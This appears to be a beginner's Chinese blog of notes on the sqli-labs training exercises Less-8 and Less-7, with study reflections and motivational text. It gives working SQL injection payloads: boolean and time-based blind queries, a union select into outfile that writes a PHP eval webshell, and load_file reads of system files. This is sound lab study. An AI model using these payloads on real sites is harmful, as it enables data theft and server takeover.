sqli labs-8

1、尝试 1′ and ‘1’=’1 –+ 和 1′ and ‘1’=’2 –+ 返回不同页面
2、当其报错时,没有回显,无法使用报错注入;在使用order by 和 union select之后发现没有回显,故也无法使用联合注入。所以考虑盲注。先试试布尔盲注呢

3、布尔盲注-猜解数据库名
– 先猜数据库名长度再逐字猜数据库名
– 猜数据库名长度—1′ and length(database())=1 将length=1的1作为变量用burpsuite进行爆破
– 逐字猜解数据库名— 1′ and ascii(substr(database(),1,1))=97 #

说明其数据库长度为8.
再来猜他的第一个字符。1′ and ascii(substr(database(),1,1))=97,将97作为变量进行爆破

第一个字符的ASCII码是115,查ASCII码表可得对应的字符为’s’ 。
然后使用 1′ and ascii(substr(database(),2,1))=97进行爆破,注意这里是 database(),2,1—截取第二个字符。

同样的查表可得数据库名的第二个字符为’e’
其后的步骤略去不提,都是一样的,可查看之前的笔记 mysql-4 布尔盲注。

4、试试时间盲注呢。– 1′ and sleep(5) –+
在network那里可以明显的看到一个pending过程。

后续步骤不提,具体命令参考之前笔记 mysql-5 时间盲注

sqli labs-7

1、加入单引号后报错
2、尝试各种组合后发现 1′)) and 1=1 –+ 后返回正常。
3、对不起,我看答案了。是要考察写文件。执行 1′)) union select 1,2,3 into outfile “C:\phpstudy\WWW\sqli-labs\Less-7\test.txt” –+ ,发现报错。

访问一下test.txt 呢 。发现已经写入成功了

将test.txt换成 一句话试试
1′)) union select 1,2,’<?php @eval($_POST[123]);?>‘ into outfile “C:\phpstudy\WWW\sqli-labs\Less-7\test.php” –+
成功连接

这种写文件需要知道
1、绝对路径
2、需要当前用户拥有写的权限
3、目标目录可写
4、gpc=off
5、secure_file_priv 的值为空,如果为其他值,则只能写入到对应值的目录下

当你在6月的时候,是否会后悔

假如现在是4月,当你在6月的时候,是否会后悔没有好好利用4-6月的这2个月时间,什么都没有学?如果学了的话,早就是另外一个样子了

假如现在是6月,当你在8月的时候,是否会后悔没有好好利用6-8月的这2个月时间,什么都没有学?如果学了的话,早就是另外一个样子了

假如现在是8月,当你在10月的时候,是否会后悔没有好好利用8-10月的这2个月时间,什么都没有学?如果学了的话,早就是另外一个样子了

1、sql语句里面的进制转换。语句里时而ASCII 时而十六进制,有点懵。对这个的认识不够系统。比如

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
//Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
//Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69”

2、单引号’转为utf-16格式进行宽字符绕过注入,但是这个转为utf-16一直没有达到和别人一样的效果,不知道他们是怎么转的?

3、对order by注入理解不够深刻,sqli labs 46-53必须要重刷,要另外找资料来看

关于

个人博客,用来监督记录自己的学习情况,同时也希望认识一些在路上的朋友,毕竟一个人真的很寂寞,你懂的。

qq:2479594926

菜鸟渗透群:763716142

行百里者半九十

4-14-20 要多看。同样一个绕过,极可能不同的人会用不同的方法,要是把这些方法都为己所用呢?